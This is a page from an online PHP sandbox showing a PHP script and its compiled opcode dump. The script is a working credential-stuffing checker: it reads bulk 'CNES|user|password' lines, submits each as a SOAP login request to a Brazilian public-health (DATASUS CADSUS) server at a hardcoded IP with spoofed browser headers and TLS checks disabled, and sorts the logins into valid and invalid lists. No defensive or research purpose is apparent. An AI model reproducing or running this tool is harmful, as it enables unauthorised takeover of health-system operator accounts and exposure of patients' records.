3v4l.org

run code in 300+ PHP versions simultaneously
<?php //error_reporting(0); set_time_limit(0); function xflush() { static $output_handler = null; if ($output_handler === null) { $output_handler = @ini_get('output_handler'); } if ($output_handler == 'ob_gzhandler') { return; } flush(); if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) { @ob_flush(); } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) { @ob_end_flush(); @ob_start(); } } if(isset($_POST["enviar"])){ $SetParamList = trim($_POST['cartoes']); xflush(); $SetParamList = explode("\n", $SetParamList); $SetParamCount = count($SetParamList); xflush(); for($setParamUX = 0; $setParamUX < $SetParamCount; $setParamUX++) { $SetParamList = str_replace(" ", "", $SetParamList); $SetParamList = str_replace("\r", "", $SetParamList); $SetParamList = str_replace("\n", "", $SetParamList); list($CNES, $USER, $SENHA,$RESTO) = explode("|", $SetParamList[$setParamUX]); xflush(); $setParamFunction = CardCheck($CNES, $USER, $SENHA); print $setParamFunction; } print "<br> <center><div style='width: 20%;' class='alert alert-success'>Foram testados <strong>{$SetParamCount}</strong> logins</div></center>"; } function CardCheck($CNES, $USER, $SENHA) { $request = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' .'<SOAP-ENV:Body>' .'<tns:validaLogin xmlns:tns="http://servidorWsCadsusCobdn.cobdn.datasus.gov.br/">' .'<usuarioSistema>CADSUS</usuarioSistema>' .'<senhaSistema></senhaSistema>' .'<codigoSistema>003</codigoSistema>' .'<bancoSistema>FEDCADWEB-DATASUS-00000010</bancoSistema>' .'<ibgeSistema>330455</ibgeSistema>' .'<username>'.$CNES.'</username>' .'<senhaUsername>'.$SENHA.'</senhaUsername>' .'<cnsOperador>'.$USER.'</cnsOperador>' .'<senhaOperador>'.$SENHA.'</senhaOperador>' .'</tns:validaLogin>' .'</SOAP-ENV:Body>' .'</SOAP-ENV:Envelope>'; $header = array( "Host: 189.28.143.114:8080", "Connection: keep-alive", "Content-length: ". strlen($request), "Origin: http://cartaonet.datasus.gov.br", "X-Requested-With: ShockwaveFlash/23.0.0.166", "User-Agent: Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", "Content-Type: text/xml, charset=utf-8", "Accept: */*", "Referer: http://cartaonet.datasus.gov.br/operadores/CadWeb.swf", "Accept-Encoding: gzip, deflate", "Accept-Language: pt-BR,pt,q=0.8,en-US,q=0.6,en,q=0.4", ); //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// $soap_do = curl_init(); curl_setopt($soap_do, CURLOPT_URL, "http://189.28.143.114:8080/ServidorWsCadsusJdbc/ServidorWsCadsusCobdn"); curl_setopt($soap_do, CURLOPT_RETURNTRANSFER, true ); curl_setopt($soap_do, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($soap_do, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($soap_do, CURLOPT_HEADER, 0); curl_setopt($soap_do, CURLOPT_POST, true ); curl_setopt($soap_do, CURLOPT_POSTFIELDS, $request); curl_setopt($soap_do, CURLOPT_HTTPHEADER, $header); $response = curl_exec($soap_do); $response = preg_replace("/(<\/?)(\w+):([^>]*>)/", "$1$2$3", $response); $xml = new SimpleXMLElement($response); $body = $xml->xpath('//SBody')[0]; $array = json_decode(json_encode((array)$body), TRUE); $array = json_encode ($array); $obj = json_decode($array, TRUE); //echo '<pre>'; //print_r ($obj); //echo '</pre>'; if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Cnes / Username / Senha inválido!') {echo "<script>document.getElementById('reprovadas').innerHTML += '{$CNES}|{$USER}|{$SENHA}' + '<br>';</script>";} if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Este usuário foi desabilitado!') {echo ""; } if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Login validado!') {echo "<script>document.getElementById('aprovadas').innerHTML += '{$CNES}|{$USER}|{$SENHA}' + '<br>';</script>";} } ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 73
Branch analysis from position: 6
1 jumps found. (Code = 42) Position 1 = 67
Branch analysis from position: 67
2 jumps found. (Code = 44) Position 1 = 69, Position 2 = 25
Branch analysis from position: 69
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 25
2 jumps found. (Code = 44) Position 1 = 69, Position 2 = 25
Branch analysis from position: 69
Branch analysis from position: 25
Branch analysis from position: 73
filename:       /in/gtblu
function name:  (null)
number of ops:  74
compiled vars:  !0 = $SetParamList, !1 = $SetParamCount, !2 = $setParamUX, !3 = $CNES, !4 = $USER, !5 = $SENHA, !6 = $RESTO, !7 = $setParamFunction
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    4     0  E >   INIT_FCALL                                               'set_time_limit'
          1        SEND_VAL                                                 0
          2        DO_ICALL                                                 
   23     3        FETCH_IS                                         ~9      '_POST'
          4        ISSET_ISEMPTY_DIM_OBJ                         0          ~9, 'enviar'
          5      > JMPZ                                                     ~10, ->73
   24     6    >   INIT_FCALL                                               'trim'
          7        FETCH_R                      global              ~11     '_POST'
          8        FETCH_DIM_R                                      ~12     ~11, 'cartoes'
          9        SEND_VAL                                                 ~12
         10        DO_ICALL                                         $13     
         11        ASSIGN                                                   !0, $13
   25    12        INIT_FCALL                                               'xflush'
         13        DO_FCALL                                      0          
   26    14        INIT_FCALL                                               'explode'
         15        SEND_VAL                                                 '%0A'
         16        SEND_VAR                                                 !0
         17        DO_ICALL                                         $16     
         18        ASSIGN                                                   !0, $16
   27    19        COUNT                                            ~18     !0
         20        ASSIGN                                                   !1, ~18
   28    21        INIT_FCALL                                               'xflush'
         22        DO_FCALL                                      0          
   29    23        ASSIGN                                                   !2, 0
         24      > JMP                                                      ->67
   30    25    >   INIT_FCALL                                               'str_replace'
         26        SEND_VAL                                                 '+'
         27        SEND_VAL                                                 ''
         28        SEND_VAR                                                 !0
         29        DO_ICALL                                         $22     
         30        ASSIGN                                                   !0, $22
   31    31        INIT_FCALL                                               'str_replace'
         32        SEND_VAL                                                 '%0D'
         33        SEND_VAL                                                 ''
         34        SEND_VAR                                                 !0
         35        DO_ICALL                                         $24     
         36        ASSIGN                                                   !0, $24
   32    37        INIT_FCALL                                               'str_replace'
         38        SEND_VAL                                                 '%0A'
         39        SEND_VAL                                                 ''
         40        SEND_VAR                                                 !0
         41        DO_ICALL                                         $26     
         42        ASSIGN                                                   !0, $26
   34    43        INIT_FCALL                                               'explode'
         44        SEND_VAL                                                 '%7C'
         45        FETCH_DIM_R                                      ~28     !0, !2
         46        SEND_VAL                                                 ~28
         47        DO_ICALL                                         $29     
         48        FETCH_LIST_R                                     $30     $29, 0
         49        ASSIGN                                                   !3, $30
         50        FETCH_LIST_R                                     $32     $29, 1
         51        ASSIGN                                                   !4, $32
         52        FETCH_LIST_R                                     $34     $29, 2
         53        ASSIGN                                                   !5, $34
         54        FETCH_LIST_R                                     $36     $29, 3
         55        ASSIGN                                                   !6, $36
         56        FREE                                                     $29
   36    57        INIT_FCALL                                               'xflush'
         58        DO_FCALL                                      0          
   37    59        INIT_FCALL_BY_NAME                                       'CardCheck'
         60        SEND_VAR_EX                                              !3
         61        SEND_VAR_EX                                              !4
         62        SEND_VAR_EX                                              !5
         63        DO_FCALL                                      0  $39     
         64        ASSIGN                                                   !7, $39
   38    65        ECHO                                                     !7
   29    66        PRE_INC                                                  !2
         67    >   IS_SMALLER                                               !2, !1
         68      > JMPNZ                                                    ~42, ->25
   40    69    >   ROPE_INIT                                     3  ~44     '%3Cbr%3E+%3Ccenter%3E%3Cdiv+style%3D%27width%3A+20%25%3B%27+class%3D%27alert+alert-success%27%3EForam+testados+%3Cstrong%3E'
         70        ROPE_ADD                                      1  ~44     ~44, !1
         71        ROPE_END                                      2  ~43     ~44, '%3C%2Fstrong%3E+logins%3C%2Fdiv%3E%3C%2Fcenter%3E'
         72        ECHO                                                     ~43
  130    73    > > RETURN                                                   1

Function xflush:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 3, Position 2 = 9
Branch analysis from position: 3
2 jumps found. (Code = 43) Position 1 = 11, Position 2 = 12
Branch analysis from position: 11
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 12
2 jumps found. (Code = 46) Position 1 = 18, Position 2 = 22
Branch analysis from position: 18
2 jumps found. (Code = 46) Position 1 = 23, Position 2 = 27
Branch analysis from position: 23
2 jumps found. (Code = 43) Position 1 = 28, Position 2 = 33
Branch analysis from position: 28
1 jumps found. (Code = 42) Position 1 = 60
Branch analysis from position: 60
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 33
2 jumps found. (Code = 46) Position 1 = 37, Position 2 = 41
Branch analysis from position: 37
2 jumps found. (Code = 46) Position 1 = 42, Position 2 = 46
Branch analysis from position: 42
2 jumps found. (Code = 46) Position 1 = 47, Position 2 = 51
Branch analysis from position: 47
2 jumps found. (Code = 43) Position 1 = 52, Position 2 = 60
Branch analysis from position: 52
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 60
Branch analysis from position: 51
Branch analysis from position: 46
Branch analysis from position: 41
Branch analysis from position: 27
Branch analysis from position: 22
Branch analysis from position: 9
filename:       /in/gtblu
function name:  xflush
number of ops:  61
compiled vars:  !0 = $output_handler
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    6     0  E >   BIND_STATIC                                              !0
    7     1        TYPE_CHECK                                    2          !0
          2      > JMPZ                                                     ~1, ->9
    8     3    >   BEGIN_SILENCE                                    ~2      
          4        INIT_FCALL                                               'ini_get'
          5        SEND_VAL                                                 'output_handler'
          6        DO_ICALL                                         $3      
          7        END_SILENCE                                              ~2
          8        ASSIGN                                                   !0, $3
   11     9    >   IS_EQUAL                                                 !0, 'ob_gzhandler'
         10      > JMPZ                                                     ~5, ->12
   12    11    > > RETURN                                                   null
   15    12    >   INIT_FCALL                                               'flush'
         13        DO_ICALL                                                 
   16    14        INIT_FCALL                                               'function_exists'
         15        SEND_VAL                                                 'ob_flush'
         16        DO_ICALL                                         $7      
         17      > JMPZ_EX                                          ~8      $7, ->22
         18    >   INIT_FCALL                                               'function_exists'
         19        SEND_VAL                                                 'ob_get_length'
         20        DO_ICALL                                         $9      
         21        BOOL                                             ~8      $9
         22    > > JMPZ_EX                                          ~8      ~8, ->27
         23    >   INIT_FCALL                                               'ob_get_length'
         24        DO_ICALL                                         $10     
         25        TYPE_CHECK                                  1018  ~11     $10
         26        BOOL                                             ~8      ~11
         27    > > JMPZ                                                     ~8, ->33
   17    28    >   BEGIN_SILENCE                                    ~12     
         29        INIT_FCALL                                               'ob_flush'
         30        DO_ICALL                                                 
         31        END_SILENCE                                              ~12
         32      > JMP                                                      ->60
   18    33    >   INIT_FCALL                                               'function_exists'
         34        SEND_VAL                                                 'ob_end_flush'
         35        DO_ICALL                                         $14     
         36      > JMPZ_EX                                          ~15     $14, ->41
         37    >   INIT_FCALL                                               'function_exists'
         38        SEND_VAL                                                 'ob_start'
         39        DO_ICALL                                         $16     
         40        BOOL                                             ~15     $16
         41    > > JMPZ_EX                                          ~15     ~15, ->46
         42    >   INIT_FCALL                                               'function_exists'
         43        SEND_VAL                                                 'ob_get_length'
         44        DO_ICALL                                         $17     
         45        BOOL                                             ~15     $17
         46    > > JMPZ_EX                                          ~15     ~15, ->51
         47    >   INIT_FCALL                                               'ob_get_length'
         48        DO_ICALL                                         $18     
         49        TYPE_CHECK                                  1018  ~19     $18
         50        BOOL                                             ~15     ~19
         51    > > JMPZ                                                     ~15, ->60
   19    52    >   BEGIN_SILENCE                                    ~20     
         53        INIT_FCALL                                               'ob_end_flush'
         54        DO_ICALL                                                 
         55        END_SILENCE                                              ~20
   20    56        BEGIN_SILENCE                                    ~22     
         57        INIT_FCALL                                               'ob_start'
         58        DO_ICALL                                                 
         59        END_SILENCE                                              ~22
   22    60    > > RETURN                                                   null

End of function xflush

Function cardcheck:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 125, Position 2 = 133
Branch analysis from position: 125
2 jumps found. (Code = 43) Position 1 = 138, Position 2 = 139
Branch analysis from position: 138
2 jumps found. (Code = 43) Position 1 = 144, Position 2 = 152
Branch analysis from position: 144
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 152
Branch analysis from position: 139
Branch analysis from position: 133
filename:       /in/gtblu
function name:  CardCheck
number of ops:  153
compiled vars:  !0 = $CNES, !1 = $USER, !2 = $SENHA, !3 = $request, !4 = $header, !5 = $soap_do, !6 = $response, !7 = $xml, !8 = $body, !9 = $array, !10 = $obj
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   43     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
   55     3        CONCAT                                           ~11     '%3CSOAP-ENV%3AEnvelope+xmlns%3ASOAP-ENV%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fenvelope%2F%22+xmlns%3Axsd%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema%22+xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema-instance%22%3E%3CSOAP-ENV%3ABody%3E%3Ctns%3AvalidaLogin+xmlns%3Atns%3D%22http%3A%2F%2FservidorWsCadsusCobdn.cobdn.datasus.gov.br%2F%22%3E%3CusuarioSistema%3ECADSUS%3C%2FusuarioSistema%3E%3CsenhaSistema%3E%3C%2FsenhaSistema%3E%3CcodigoSistema%3E003%3C%2FcodigoSistema%3E%3CbancoSistema%3EFEDCADWEB-DATASUS-00000010%3C%2FbancoSistema%3E%3CibgeSistema%3E330455%3C%2FibgeSistema%3E%3Cusername%3E', !0
          4        CONCAT                                           ~12     ~11, '%3C%2Fusername%3E'
   56     5        CONCAT                                           ~13     ~12, '%3CsenhaUsername%3E'
          6        CONCAT                                           ~14     ~13, !2
          7        CONCAT                                           ~15     ~14, '%3C%2FsenhaUsername%3E'
   57     8        CONCAT                                           ~16     ~15, '%3CcnsOperador%3E'
          9        CONCAT                                           ~17     ~16, !1
         10        CONCAT                                           ~18     ~17, '%3C%2FcnsOperador%3E'
   58    11        CONCAT                                           ~19     ~18, '%3CsenhaOperador%3E'
         12        CONCAT                                           ~20     ~19, !2
         13        CONCAT                                           ~21     ~20, '%3C%2FsenhaOperador%3E'
   59    14        CONCAT                                           ~22     ~21, '%3C%2Ftns%3AvalidaLogin%3E'
   60    15        CONCAT                                           ~23     ~22, '%3C%2FSOAP-ENV%3ABody%3E'
   61    16        CONCAT                                           ~24     ~23, '%3C%2FSOAP-ENV%3AEnvelope%3E'
   47    17        ASSIGN                                                   !3, ~24
   63    18        INIT_ARRAY                                       ~26     'Host%3A+189.28.143.114%3A8080'
   64    19        ADD_ARRAY_ELEMENT                                ~26     'Connection%3A+keep-alive'
   65    20        STRLEN                                           ~27     !3
         21        CONCAT                                           ~28     'Content-length%3A+', ~27
         22        ADD_ARRAY_ELEMENT                                ~26     ~28
   66    23        ADD_ARRAY_ELEMENT                                ~26     'Origin%3A+http%3A%2F%2Fcartaonet.datasus.gov.br'
   67    24        ADD_ARRAY_ELEMENT                                ~26     'X-Requested-With%3A+ShockwaveFlash%2F23.0.0.166'
   68    25        ADD_ARRAY_ELEMENT                                ~26     'User-Agent%3A+Mozilla%2F5.0+%28Windows+NT+6.1%2C+WOW64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F53.0.2785.116+Safari%2F537.36'
   69    26        ADD_ARRAY_ELEMENT                                ~26     'Content-Type%3A+text%2Fxml%2C+charset%3Dutf-8'
   70    27        ADD_ARRAY_ELEMENT                                ~26     'Accept%3A+%2A%2F%2A'
   71    28        ADD_ARRAY_ELEMENT                                ~26     'Referer%3A+http%3A%2F%2Fcartaonet.datasus.gov.br%2Foperadores%2FCadWeb.swf'
   72    29        ADD_ARRAY_ELEMENT                                ~26     'Accept-Encoding%3A+gzip%2C+deflate'
   73    30        ADD_ARRAY_ELEMENT                                ~26     'Accept-Language%3A+pt-BR%2Cpt%2Cq%3D0.8%2Cen-US%2Cq%3D0.6%2Cen%2Cq%3D0.4'
   62    31        ASSIGN                                                   !4, ~26
   86    32        INIT_FCALL_BY_NAME                                       'curl_init'
         33        DO_FCALL                                      0  $30     
         34        ASSIGN                                                   !5, $30
   87    35        INIT_FCALL_BY_NAME                                       'curl_setopt'
         36        SEND_VAR_EX                                              !5
         37        FETCH_CONSTANT                                   ~32     'CURLOPT_URL'
         38        SEND_VAL_EX                                              ~32
         39        SEND_VAL_EX                                              'http%3A%2F%2F189.28.143.114%3A8080%2FServidorWsCadsusJdbc%2FServidorWsCadsusCobdn'
         40        DO_FCALL                                      0          
   88    41        INIT_FCALL_BY_NAME                                       'curl_setopt'
         42        SEND_VAR_EX                                              !5
         43        FETCH_CONSTANT                                   ~34     'CURLOPT_RETURNTRANSFER'
         44        SEND_VAL_EX                                              ~34
         45        SEND_VAL_EX                                              <true>
         46        DO_FCALL                                      0          
   89    47        INIT_FCALL_BY_NAME                                       'curl_setopt'
         48        SEND_VAR_EX                                              !5
         49        FETCH_CONSTANT                                   ~36     'CURLOPT_SSL_VERIFYPEER'
         50        SEND_VAL_EX                                              ~36
         51        SEND_VAL_EX                                              <false>
         52        DO_FCALL                                      0          
   90    53        INIT_FCALL_BY_NAME                                       'curl_setopt'
         54        SEND_VAR_EX                                              !5
         55        FETCH_CONSTANT                                   ~38     'CURLOPT_SSL_VERIFYHOST'
         56        SEND_VAL_EX                                              ~38
         57        SEND_VAL_EX                                              <false>
         58        DO_FCALL                                      0          
   91    59        INIT_FCALL_BY_NAME                                       'curl_setopt'
         60        SEND_VAR_EX                                              !5
         61        FETCH_CONSTANT                                   ~40     'CURLOPT_HEADER'
         62        SEND_VAL_EX                                              ~40
         63        SEND_VAL_EX                                              0
         64        DO_FCALL                                      0          
   92    65        INIT_FCALL_BY_NAME                                       'curl_setopt'
         66        SEND_VAR_EX                                              !5
         67        FETCH_CONSTANT                                   ~42     'CURLOPT_POST'
         68        SEND_VAL_EX                                              ~42
         69        SEND_VAL_EX                                              <true>
         70        DO_FCALL                                      0          
   93    71        INIT_FCALL_BY_NAME                                       'curl_setopt'
         72        SEND_VAR_EX                                              !5
         73        FETCH_CONSTANT                                   ~44     'CURLOPT_POSTFIELDS'
         74        SEND_VAL_EX                                              ~44
         75        SEND_VAR_EX                                              !3
         76        DO_FCALL                                      0          
   94    77        INIT_FCALL_BY_NAME                                       'curl_setopt'
         78        SEND_VAR_EX                                              !5
         79        FETCH_CONSTANT                                   ~46     'CURLOPT_HTTPHEADER'
         80        SEND_VAL_EX                                              ~46
         81        SEND_VAR_EX                                              !4
         82        DO_FCALL                                      0          
   95    83        INIT_FCALL_BY_NAME                                       'curl_exec'
         84        SEND_VAR_EX                                              !5
         85        DO_FCALL                                      0  $48     
         86        ASSIGN                                                   !6, $48
   96    87        INIT_FCALL                                               'preg_replace'
         88        SEND_VAL                                                 '%2F%28%3C%5C%2F%3F%29%28%5Cw%2B%29%3A%28%5B%5E%3E%5D%2A%3E%29%2F'
         89        SEND_VAL                                                 '%241%242%243'
         90        SEND_VAR                                                 !6
         91        DO_ICALL                                         $50     
         92        ASSIGN                                                   !6, $50
   99    93        NEW                                              $52     'SimpleXMLElement'
         94        SEND_VAR_EX                                              !6
         95        DO_FCALL                                      0          
         96        ASSIGN                                                   !7, $52
  108    97        INIT_METHOD_CALL                                         !7, 'xpath'
         98        SEND_VAL_EX                                              '%2F%2FSBody'
         99        DO_FCALL                                      0  $55     
        100        FETCH_DIM_R                                      ~56     $55, 0
        101        ASSIGN                                                   !8, ~56
  109   102        INIT_FCALL                                               'json_decode'
        103        INIT_FCALL                                               'json_encode'
        104        CAST                                          7  ~58     !8
        105        SEND_VAL                                                 ~58
        106        DO_ICALL                                         $59     
        107        SEND_VAR                                                 $59
        108        SEND_VAL                                                 <true>
        109        DO_ICALL                                         $60     
        110        ASSIGN                                                   !9, $60
  110   111        INIT_FCALL                                               'json_encode'
        112        SEND_VAR                                                 !9
        113        DO_ICALL                                         $62     
        114        ASSIGN                                                   !9, $62
  111   115        INIT_FCALL                                               'json_decode'
        116        SEND_VAR                                                 !9
        117        SEND_VAL                                                 <true>
        118        DO_ICALL                                         $64     
        119        ASSIGN                                                   !10, $64
  119   120        FETCH_DIM_R                                      ~66     !10, 'ns2validaLoginResponse'
        121        FETCH_DIM_R                                      ~67     ~66, 'return'
        122        FETCH_DIM_R                                      ~68     ~67, 'descricaoErro'
        123        IS_EQUAL                                                 ~68, 'Cnes+%2F+Username+%2F+Senha+inv%C3%A1lido%21'
        124      > JMPZ                                                     ~69, ->133
        125    >   ROPE_INIT                                     7  ~71     '%3Cscript%3Edocument.getElementById%28%27reprovadas%27%29.innerHTML+%2B%3D+%27'
        126        ROPE_ADD                                      1  ~71     ~71, !0
        127        ROPE_ADD                                      2  ~71     ~71, '%7C'
        128        ROPE_ADD                                      3  ~71     ~71, !1
        129        ROPE_ADD                                      4  ~71     ~71, '%7C'
        130        ROPE_ADD                                      5  ~71     ~71, !2
        131        ROPE_END                                      6  ~70     ~71, '%27+%2B+%27%3Cbr%3E%27%3B%3C%2Fscript%3E'
        132        ECHO                                                     ~70
  123   133    >   FETCH_DIM_R                                      ~75     !10, 'ns2validaLoginResponse'
        134        FETCH_DIM_R                                      ~76     ~75, 'return'
        135        FETCH_DIM_R                                      ~77     ~76, 'descricaoErro'
        136        IS_EQUAL                                                 ~77, 'Este+usu%C3%A1rio+foi+desabilitado%21'
        137      > JMPZ                                                     ~78, ->139
        138    >   ECHO                                                     ''
  126   139    >   FETCH_DIM_R                                      ~79     !10, 'ns2validaLoginResponse'
        140        FETCH_DIM_R                                      ~80     ~79, 'return'
        141        FETCH_DIM_R                                      ~81     ~80, 'descricaoErro'
        142        IS_EQUAL                                                 ~81, 'Login+validado%21'
        143      > JMPZ                                                     ~82, ->152
        144    >   ROPE_INIT                                     7  ~84     '%3Cscript%3Edocument.getElementById%28%27aprovadas%27%29.innerHTML+%2B%3D+%27'
        145        ROPE_ADD                                      1  ~84     ~84, !0
        146        ROPE_ADD                                      2  ~84     ~84, '%7C'
        147        ROPE_ADD                                      3  ~84     ~84, !1
        148        ROPE_ADD                                      4  ~84     ~84, '%7C'
        149        ROPE_ADD                                      5  ~84     ~84, !2
        150        ROPE_END                                      6  ~83     ~84, '%27+%2B+%27%3Cbr%3E%27%3B%3C%2Fscript%3E'
        151        ECHO                                                     ~83
  129   152    > > RETURN                                                   null

End of function cardcheck

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
196.04 ms | 1427 KiB | 44 Q